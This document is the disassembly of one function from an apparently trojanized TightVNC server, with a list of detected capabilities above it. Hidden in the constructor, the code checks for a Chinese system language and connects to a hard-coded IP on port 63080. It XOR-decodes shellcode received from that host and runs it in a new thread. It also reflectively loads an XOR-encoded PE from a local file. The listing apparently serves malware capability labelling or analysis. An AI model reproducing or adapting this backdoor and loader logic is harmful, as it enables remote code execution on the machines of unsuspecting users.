Function at 0x413860
Capabilities:
Access peb ldr_data
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Encode data using xor
Execute shellcode via indirect call
Identify system language via api
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Resolve function by parsing pe exports
Send data
Send data on socket
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b769a
mov eax, dword fs:[0]
push eax
sub esp, 0x62c
mov eax, dword [0x4fa008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x608], edi
mov dword [ebp - 0x61c], edi
mov eax, dword [ebp + 8]
mov ecx, 0x4fb5ac
mov dword [ebp - 0x62c], edi
mov byte [ebp - 0x616], al
mov dword [edi], vtable.Singleton_class_TvnServer_.0
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - 0x624], edi
call dword [eax + 4]
mov eax, dword [0x4feec0]
test eax, eax
cmove eax, edi
mov dword [0x4feec0], eax
mov dword [ebp - 4], 0
mov ecx, 0x4fb5ac
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov dword [ebp - 4], 1
lea eax, [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xorps xmm0, xmm0
movups xmmword [edi + 0xc], xmm0
push eax
movups xmmword [edi + 0x1c], xmm0
movq qword [edi + 0x2c], xmm0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0xc], vtable.LocalMutex.0
call esi
mov dword [edi + 0xc], vtable.SafeVector_class_TvnServerListener__.0
mov dword [edi + 4], vtable.ConfigReloadListener.0
mov dword [edi + 8], vtable.RfbClientManagerEventListener.0
push dword [ebp + 0x14]
lea eax, [edi + 0x34]
mov byte [ebp - 4], 4
mov ecx, eax
mov dword [edi], vtable.TvnServer.2.0
mov dword [edi + 4], vtable.TvnServer.1.0
mov dword [edi + 8], vtable.TvnServer.0
mov dword [ebp - 0x610], eax
call fcn.00405290
lea ecx, [edi + 0x40]
mov byte [ebp - 4], 5
call fcn.0046ea60
push dword [ebp + 8]
lea ecx, [edi + 0x78]
mov byte [ebp - 4], 6
call fcn.00468430
lea eax, [edi + 0x184]
mov dword [edi + method.LocalMutex.virtual_0], vtable.LocalMutex.0
push eax
call esi
mov eax, dword [ebp + 8]
mov byte [edi + 0x19c], al
mov dword [edi + method.WinServiceDesktopFactory.virtual_0], vtable.WinServiceDesktopFactory.0
mov dword [edi + method.ApplicationDesktopFactory.virtual_0], vtable.ApplicationDesktopFactory.0
mov byte [ebp - 4], 0xa
mov dword [edi + 0x1a8], 0
mov dword [edi + 0x1ac], 0
mov dword [edi + 0x1b0], 0
add edi, 0x1b4
mov dword [ebp - 0x61c], edi
lea esi, [edi + 4]
push 0
mov dword [ebp - 0x61c], esi
mov dword [edi], vtable.ExtraRfbServers.0
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0040c210
mov edx, dword [ebp - 0x610]
mov dword [esi], eax
mov word [edi + 0xc], 0
mov dword [edi + 0x10], vtable.PortMappingContainer.0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], edx
mov eax, dword [ebp + 0x10]
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x608]
push 0x4c6f80
push 0x4c7640
push 0x4ce714
push edx
mov dword [ecx + 0x1d8], eax
mov dword [ecx + 0x1dc], 1
call fcn.004054c0
mov eax, dword [vtable.LocalMutex.0]
add esp, 0x10
mov ecx, 0x4fb558
call dword [eax + 4]
mov eax, dword [0x4fee8c]
mov dword [ebp - 0x61c], eax
mov byte [ebp - 4], 0xc
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
push 0x400
lea eax, [ebp - 0x42c]
mov byte [ebp - 4], 0xb
push 0
push eax
call fcn.00499220
add esp, 0xc
lea eax, [ebp - 0x42c]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, dword [ebp - 0x42c]
lea esi, [ebp - 0x42c]
xor ecx, ecx
mov edi, eax
test dl, dl
je 0x413b98
nop dword [eax + eax]
cmp dl, 0x5c
lea eax, [ecx + 1]
mov dl, byte [esi + 1]
lea esi, [esi + 1]
cmovne eax, ecx
mov ecx, eax
test dl, dl
jne 0x413ae0
mov edx, dword [ebp - 0x42c]
cmp ecx, 2
jne 0x413b4b
lea eax, [ebp - 0x42c]
mov cl, dl
cmp cl, 0x5c
je 0x413b15
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x413b08
mov cl, byte [eax + 1]
inc eax
xor esi, esi
test cl, cl
je 0x413b98
nop
cmp cl, 0x5c
je 0x413b2e
mov cl, byte [eax + 1]
inc eax
inc esi
test cl, cl
jne 0x413b20
cmp esi, 7
jne 0x413b98
cmp dl, 0x43
jne 0x413b98
cmp dh, 0x3a
jne 0x413b98
cmp byte [ebp - 0x41d], dh
jne 0x413d36
jmp 0x413b98
cmp ecx, 7
jne 0x413b98
lea ecx, [ebp - 0x42c]
xor esi, esi
cmp dl, 0x5c
mov eax, ecx
mov dl, byte [ecx + 1]
cmovne eax, esi
inc ecx
mov esi, eax
test dl, dl
jne 0x413b58
test esi, esi
je 0x413b98
xor eax, eax
cmp byte [esi + 1], al
je 0x413b98
inc eax
cmp byte [esi + eax + 1], 0
jne 0x413b75
cmp eax, 0x16
jne 0x413b98
cmp byte [ebp - 0x407], 0x54
jne 0x413b98
cmp byte [ebp - 0x406], 0x65
je 0x413d36
push str.Initialize_WinSock
push dword [ebp - 0x610]
call fcn.004054f0
movups xmm0, xmmword [str.134.175.182.163]
lea ecx, [ebp - 0x2c]
add esp, 8
lea edx, [ecx + 1]
movups xmmword [ebp - 0x2c], xmm0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413bc0
sub ecx, edx
cmp ecx, 0xf
jne 0x413c4c
mov ecx, dword [ebp - 0x2c]
cmp cl, 0x32
jne 0x413c4c
mov eax, ecx
shr eax, 8
cmp al, 0x35
jne 0x413c4c
mov eax, ecx
shr eax, 0x10
cmp al, 0x35
jne 0x413c4c
shr ecx, 0x18
cmp cl, 0x2e
jne 0x413c4c
mov ecx, dword [ebp - 0x28]
cmp cl, 0x32
jne 0x413c4c
mov eax, ecx
shr eax, 8
cmp al, 0x35
jne 0x413c4c
mov eax, ecx
shr eax, 0x10
cmp al, 0x35
jne 0x413c4c
shr ecx, 0x18
cmp cl, 0x2e
jne 0x413c4c
mov ecx, dword [ebp - 0x24]
cmp cl, 0x32
jne 0x413c4c
mov eax, ecx
shr eax, 8
cmp al, 0x35
jne 0x413c4c
mov eax, ecx
shr eax, 0x10
cmp al, 0x35
jne 0x413c4c
shr ecx, 0x18
cmp cl, 0x2e
jne 0x413c4c
mov ecx, dword [ebp - 0x20]
cmp cl, 0x32
jne 0x413c4c
mov eax, ecx
shr eax, 8
cmp al, 0x35
jne 0x413c4c
shr ecx, 0x10
cmp cl, al
je 0x413c84
mov ecx, str.C:UsersPublicUpdateexplorer
lea eax, [ebp - 0x42c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x413c77
test dl, dl
je 0x413c73
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x413c77
add eax, 2
add ecx, 2
test dl, dl
jne 0x413c57
xor eax, eax
jmp 0x413c7c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4141f9
test edi, edi
je 0x413d36
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x474], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413cb0
sub ecx, edx
lea eax, [ebp - 0x42c]
push ecx
push eax
lea ecx, [ebp - 0x474]
call fcn.00415d40
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x474]
push dword [ebp - 0x624]
mov edi, dword [ebp - 0x460]
cmp edi, 0x10
mov esi, dword [ebp - 0x474]
mov edx, dword [ebp - 0x464]
cmovae ecx, esi
push 2
sub esp, 8
call fcn.00415fa0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x413d5c
cmp edi, 0x10
jb 0x413d36
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x413d2c
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148a6
push ecx
push esi
call fcn.00497d04
add esp, 8
mov edi, dword [ebp - 0x608]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004977bb
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [eax + 1]
mov dword [ebp - 0x434], 0
cmp dword [ebp - 0x464], ecx
lea eax, [ebp - 0x474]
mov dword [ebp - 0x430], 0xf
cmovb ecx, dword [ebp - 0x464]
cmp edi, 0x10
push ecx
cmovae eax, esi
mov byte [ebp - 0x444], 0
push eax
lea ecx, [ebp - 0x444]
call fcn.00415d40
lea ecx, [ebp - 0x474]
call fcn.00415c70
movups xmm0, xmmword [ebp - 0x444]
push ecx
lea edx, [ebp - 0x474]
movups xmmword [ebp - 0x474], xmm0
lea ecx, [ebp - 0x45c]
movq xmm0, qword [ebp - 0x434]
movq qword [ebp - 0x464], xmm0
call fcn.00415e70
push 0x140000
call fcn.0049ff74
add esp, 8
mov esi, eax
cmp dword [ebp - 0x448], 0x10
lea eax, [ebp - 0x45c]
cmovae eax, dword [ebp - 0x45c]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push eax
call fcn.004a158c
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x413ebb
mov edx, dword [ebp - 0x448]
cmp edx, 0x10
jb 0x413e65
mov ecx, dword [ebp - 0x45c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413e5b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ab
push edx
push ecx
call fcn.00497d04
add esp, 8
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
cmp edx, 0x10
jb 0x413d36
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413eb4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148b0
push edx
push ecx
jmp 0x413d2e
push 0
lea eax, [ebp - 0x634]
push eax
push 0x140000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
jne 0x413ee1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x413e2b
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 0x634], eax
jbe 0x413efe
xor byte [eax + esi], 0x88
inc eax
cmp eax, dword [ebp - 0x634]
jb 0x413ef1
mov dword [ebp - 0x1c], 0x905a4d
mov cl, 3
mov eax, dword [ebp - 0x1c]
mov dword [esi], eax
mov byte [esi + 4], cl
mov eax, dword [esi + 0x3c]
mov dword [ebp - 0x60c], eax
add eax, esi
push 0x40
push 0x1000
mov dword [ebp - 0x430], eax
push dword [eax + 0x50]
mov ecx, dword [eax + 0x54]
push 0
mov dword [ebp - 0x610], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov eax, dword [ebp - 0x610]
push eax
push esi
push edi
mov dword [ebp - 0x1c], edi
call fcn.0049a840
mov edx, dword [ebp - 0x610]
add esp, 0xc
mov eax, edx
and eax, 0x80000fff
jns 0x413f69
dec eax
or eax, 0xfffff000
add eax, 1
lea ecx, [edi + 0x1000]
jne 0x413f73
mov ecx, edi
mov eax, edx
mov dword [ebp - 0x614], 0
cdq
and edx, 0xfff
add eax, edx
mov edx, dword [ebp - 0x610]
and eax, 0xfffff000
add edx, esi
add ecx, eax
mov dword [ebp - 0x610], edx
mov eax, dword [ebp - 0x430]
xor esi, esi
mov dword [ebp - 0x630], ecx
cmp si, word [eax + 6]
jae 0x41401c
lea edi, [eax + 0x108]
nop word [eax + eax]
mov esi, dword [edi - 8]
shr esi, 0xc
test dword [edi - 8], 0xfff
je 0x413fd0
inc esi
push dword [edi]
push edx
push ecx
call fcn.0049a840
mov ecx, dword [ebp - 0x630]
add esp, 0xc
mov eax, dword [ebp - 0x430]
mov edx, dword [ebp - 0x610]
add edx, dword [edi]
add edi, 0x28
shl esi, 0xc
movzx eax, word [eax + 6]
add ecx, esi
mov esi, dword [ebp - 0x614]
inc esi
mov dword [ebp - 0x610], edx
mov dword [ebp - 0x630], ecx
mov dword [ebp - 0x614], esi
cmp esi, eax
jl 0x413fc0
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60c]
lea esi, [edi + 0xc]
mov eax, dword [edi + eax + 0x80]
add esi, eax
mov dword [ebp - 0x614], esi
mov ecx, dword [esi]
test ecx, ecx
je 0x4140aa
nop word [eax + eax]
lea eax, [ecx + edi]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [esi + 4]
add eax, edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x430], eax
mov esi, eax
mov eax, dword [eax]
test eax, eax
je 0x414095
jns 0x41406b
add eax, 0x80000000
jmp 0x414070
add eax, 2
add eax, edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x430]
add ecx, 4
mov dword [esi], eax
add esi, 4
mov dword [ebp - 0x430], ecx
mov eax, dword [ecx]
mov ecx, dword [ebp - 0x1c]
test eax, eax
jne 0x414062
mov esi, dword [ebp - 0x614]
add esi, 0x14
mov dword [ebp - 0x614], esi
mov ecx, dword [esi]
test ecx, ecx
jne 0x414040
mov eax, dword [ebp - 0x60c]
mov esi, dword [edi + eax + 0xa0]
add esi, edi
mov ecx, dword [esi + 4]
lea eax, [esi + 4]
mov dword [ebp - 0x614], eax
mov dword [ebp - 0x430], esi
mov eax, dword [esi]
add eax, ecx
je 0x414137
lea eax, [ecx - 8]
mov edx, 0
shr eax, 1
mov dword [ebp - 0x1c], eax
je 0x414117
movzx eax, word [esi + edx*2 + 8]
mov ecx, eax
and ecx, 0xf000
cmp ecx, 0x3000
jne 0x414111
and eax, 0xfff
mov ecx, edi
add eax, dword [esi]
mov esi, dword [ebp - 0x60c]
sub ecx, dword [edi + esi + 0x34]
add dword [eax + edi], ecx
mov esi, dword [ebp - 0x430]
inc edx
cmp edx, dword [ebp - 0x1c]
jl 0x4140e0
mov eax, dword [ebp - 0x614]
add esi, dword [eax]
mov ecx, dword [esi + 4]
lea eax, [esi + 4]
mov dword [ebp - 0x614], eax
mov dword [ebp - 0x430], esi
mov eax, dword [esi]
add eax, ecx
jne 0x4140d1
mov eax, dword [ebp - 0x60c]
push 0
push 0
push 0
mov eax, dword [edi + eax + 0x28]
add eax, edi
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0x448]
cmp edx, 0x10
jb 0x414197
mov ecx, dword [ebp - 0x45c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41418d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ab
push edx
push ecx
call fcn.00497d04
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
cmp edx, 0x10
jb 0x41448d
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4141ea
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ab
push edx
push ecx
call fcn.00497d04
add esp, 8
jmp 0x41448d
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx eax, ax
mov ecx, 0x804
cmp ax, cx
je 0x41421a
mov ecx, 0x404
cmp ax, cx
jne 0x41448d
lea eax, [ebp - 0x604]
mov byte [ebp - 4], 0xe
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov eax, 2
mov word [ebp - 0x454], ax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], esi
call dword [sym.imp.WS2_32.dll_inet_addr]
push str.63080
mov dword [ebp - 0x450], eax
call fcn.0049fe00
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x452], ax
lea eax, [ebp - 0x454]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0
push 1
push 0x4ce7a0
push esi
call dword [sym.imp.WS2_32.dll_send]
test edi, edi
je 0x413d36
xor ecx, ecx
test edi, edi
je 0x41434d
cmp edi, 0x40
jb 0x414333
movaps xmm2, xmmword [0x4e1f00]
mov eax, edi
and eax, 0x3f
mov edx, edi
sub edx, eax
nop dword [eax]
nop word [eax + eax]
movups xmm0, xmmword [ebp + ecx - 0x42c]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x42c], xmm1
movups xmm0, xmmword [ebp + ecx - 0x41c]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x41c], xmm1
movups xmm0, xmmword [ebp + ecx - 0x40c]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x40c], xmm1
movups xmm0, xmmword [ebp + ecx - 0x3fc]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x3fc], xmm1
add ecx, 0x40
cmp ecx, edx
jb 0x4142d0
cmp ecx, edi
jae 0x41434d
nop word [eax + eax]
xor byte [ebp + ecx - 0x42c], 0x88
inc ecx
cmp ecx, edi
jb 0x414340
push 0
push edi
lea eax, [ebp - 0x42c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x430]
mov dword [ebp - 0x430], 0
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov edi, dword [ebp - 0x430]
push 4
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0
push eax
mov dword [ebp - 0x60c], eax
call fcn.00499220
add esp, 0xc
xor esi, esi
push 0
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp - 0x60c]
add eax, esi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x413d36
test eax, eax
je 0x413d36
add esi, eax
cmp esi, edi
jl 0x4143a4
xor eax, eax
test edi, edi
je 0x41444b
mov ecx, dword [ebp - 0x60c]
cmp edi, 0x40
jb 0x41443e
movaps xmm2, xmmword [0x4e1f00]
mov edx, edi
and edx, 0xffffffc0
movups xmm0, xmmword [ecx + eax]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ecx + eax], xmm1
movups xmm0, xmmword [ecx + eax + 0x10]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ecx + eax + 0x10], xmm1
movups xmm0, xmmword [ecx + eax + 0x20]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ecx + eax + 0x20], xmm1
movups xmm0, xmmword [ecx + eax + 0x30]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ecx + eax + 0x30], xmm1
add eax, 0x40
cmp eax, edx
jb 0x4143f5
cmp eax, edi
jae 0x41444b
xor byte [eax + ecx], 0x88
inc eax
cmp eax, edi
jb 0x414442
mov esi, dword [ebp - 0x60c]
lea eax, [ebp - 0x614]
push eax
push 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x630]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.0049ff6f
mov dword [ebp - 4], 0xb
mov edi, dword [ebp - 0x61c]
xor ecx, ecx
mov al, byte [edi + 0xf8]
test al, al
setne cl
xor esi, esi
add ecx, reloc.WS2_32.dll_accept
mov dword [ebp - 0x61c], ecx
test al, al
je 0x4144bf
mov eax, dword [edi + 0xfc]
test eax, eax
je 0x4144bf
lea esi, [eax + 0x40]
mov byte [ebp - 4], 0x10
push 0x1c
mov dword [ebp - method.RegistrySettingsManager.virtual_0], vtable.RegistrySettingsManager.0
mov dword [ebp - 0x430], 0
call fcn.00497cd4
add esp, 4
mov dword [ebp - 0x1c], eax
push esi
push 1
push str.SoftwareTightVNCServer
mov byte [ebp - 4], 0x11
mov ecx, eax
push dword [ebp - 0x61c]
call fcn.0041f930
mov dword [ebp - 0x430], eax
lea eax, [ebp - 0x434]
mov byte [ebp - 4], 0x12
push eax
mov ecx, edi
call fcn.00468980
mov ecx, edi
call fcn.004686c0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x430]
mov dword [ebp - method.RegistrySettingsManager.virtual_0], vtable.RegistrySettingsManager.0
test ecx, ecx
je 0x41453a
mov eax, dword [ecx]
push 1
call dword [eax]
mov eax, dword [vtable.LocalMutex.0]
mov ecx, 0x4fb558
call dword [eax + 4]
mov esi, dword [0x4fee8c]
mov byte [ebp - 4], 0x13
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov edi, dword [ebp - 0x608]
lea eax, [esi + 0x2c]
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0
mov dword [edi + 0x17c], eax
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x438]
mov byte [ebp - 4], 0x15
push eax
push 1
mov ecx, eax
call fcn.00403ad0
mov eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x438]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4cd35c
push ecx
call fcn.0049af00
add esp, 0xc
mov byte [ebp - 4], 0x16
mov esi, dword [edi + 0x17c]
mov ecx, esi
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov dword [ebp - 0x61c], esi
mov eax, dword [esi]
call dword [eax + 4]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x43c]
mov eax, dword [ebp - 0x43c]
push dword [esi + 0xa0]
call dword [eax + 4]
mov byte [ebp - 4], 0x18
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov byte [ebp - 4], 0x16
mov esi, dword [edi + 0x17c]
mov eax, dword [esi + 0xb0]
lea ecx, [esi + 0xb0]
mov dword [ebp - 0x61c], esi
call dword [eax + 4]
mov esi, dword [esi + 0x34]
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x61c]
add ecx, 0xb0
mov eax, dword [ecx]
call dword [eax + 8]
mov byte [ebp - 4], 0x16
mov ecx, dword [edi + 0x1d8]
push esi
push 0x4c74c8
push dword [ebp - 0x438]
mov eax, dword [ecx]
call dword [eax]
lea ecx, [ebp - 0x438]
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
call fcn.004039a0
mov dword [ebp - 4], 0xb
mov esi, edi
jmp 0x414699
mov byte [ebp - 4], 0x1b
call fcn.00455590
mov dword [ebp - 4], 0xb
jmp 0x4146e4
push 0xe4
call fcn.00497cd4
mov edx, eax
add esp, 4
mov dword [ebp - 0x61c], edx
movzx ecx, byte [ebp - 0x616]
xor ecx, 1
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x624]
lea eax, [eax + ecx*4]
add eax, 0x1a0
push eax
lea eax, [esi + 0x34]
push eax
push dword [ebp + 0xc]
push ecx
mov ecx, edx
call fcn.00417970
mov byte [ebp - 4], 0xb
lea ecx, [esi + 8]
mov dword [esi + 0x1a8], eax
mov dword [ebp - 0x430], ecx
lea edi, [eax + 0x14]
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov eax, dword [edi]
mov ecx, edi
mov dword [ebp - 0x624], edi
call dword [eax + 4]
mov byte [ebp - 4], 0x1e
mov eax, dword [edi + 0x1c]
mov ecx, dword [edi + 0x20]
cmp eax, ecx
je 0x414777
mov esi, dword [ebp - 0x430]
cmp dword [eax], esi
mov esi, dword [ebp - 0x608]
je 0x414787
add eax, 4
cmp eax, ecx
jne 0x414760
cmp dword [edi + 0x24], ecx
je 0x41478d
lea eax, [esi + 8]
mov dword [ecx], eax
add dword [edi + 0x20], 4
jmp 0x41479d
mov byte [ebp - 4], 0x1f
jmp 0x4147a1
lea eax, [ebp - 0x430]
push eax
push ecx
lea ecx, [edi + 0x1c]
call fcn.00410ed0
mov byte [ebp - 4], 0x20
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 8]
mov byte [ebp - 4], 0xb
lea edi, [esi + 4]
mov eax, dword [vtable.LocalMutex.0]
mov ecx, 0x4fb558
mov dword [ebp - 0x624], edi
call dword [eax + 4]
mov esi, dword [0x4fee8c]
mov byte [ebp - 4], 0x21
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
add esi, 4
mov byte [ebp - 4], 0xb
mov ecx, esi
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov dword [ebp - 0x61c], esi
mov eax, dword [esi]
call dword [eax + 4]
mov byte [ebp - 4], 0x22
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x20]
cmp eax, ecx
je 0x414810
cmp dword [eax], edi
je 0x41481d
add eax, 4
cmp eax, ecx
jne 0x414805
cmp dword [esi + 0x24], ecx
je 0x414823
mov dword [ecx], edi
add dword [esi + 0x20], 4
jmp 0x414833
mov byte [ebp - 4], 0x23
jmp 0x414837
lea eax, [ebp - 0x624]
push eax
push ecx
lea ecx, [esi + 0x1c]
call fcn.00410ed0
mov byte [ebp - 4], 0x24
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov byte [ebp - 4], 0xb
mov edi, dword [ebp - 0x608]
mov eax, dword [edi + 0x180]
lea esi, [edi + 0x180]
mov ecx, esi
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov dword [ebp - 0x624], esi
call dword [eax + 4]
mov ecx, edi
mov byte [ebp - 4], 0x25
call fcn.004158e0
mov ecx, edi
push dword [ecx + 0x1a8]
movzx eax, byte [ecx + 0x19c]
add ecx, 0x1b4
push eax
call fcn.00416e80
mov ecx, edi
call fcn.00415650
mov byte [ebp - 4], 0x26
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 8]
jmp 0x413d3c
call fcn.0049ea49
call fcn.0049ea49
call fcn.0049ea49
int3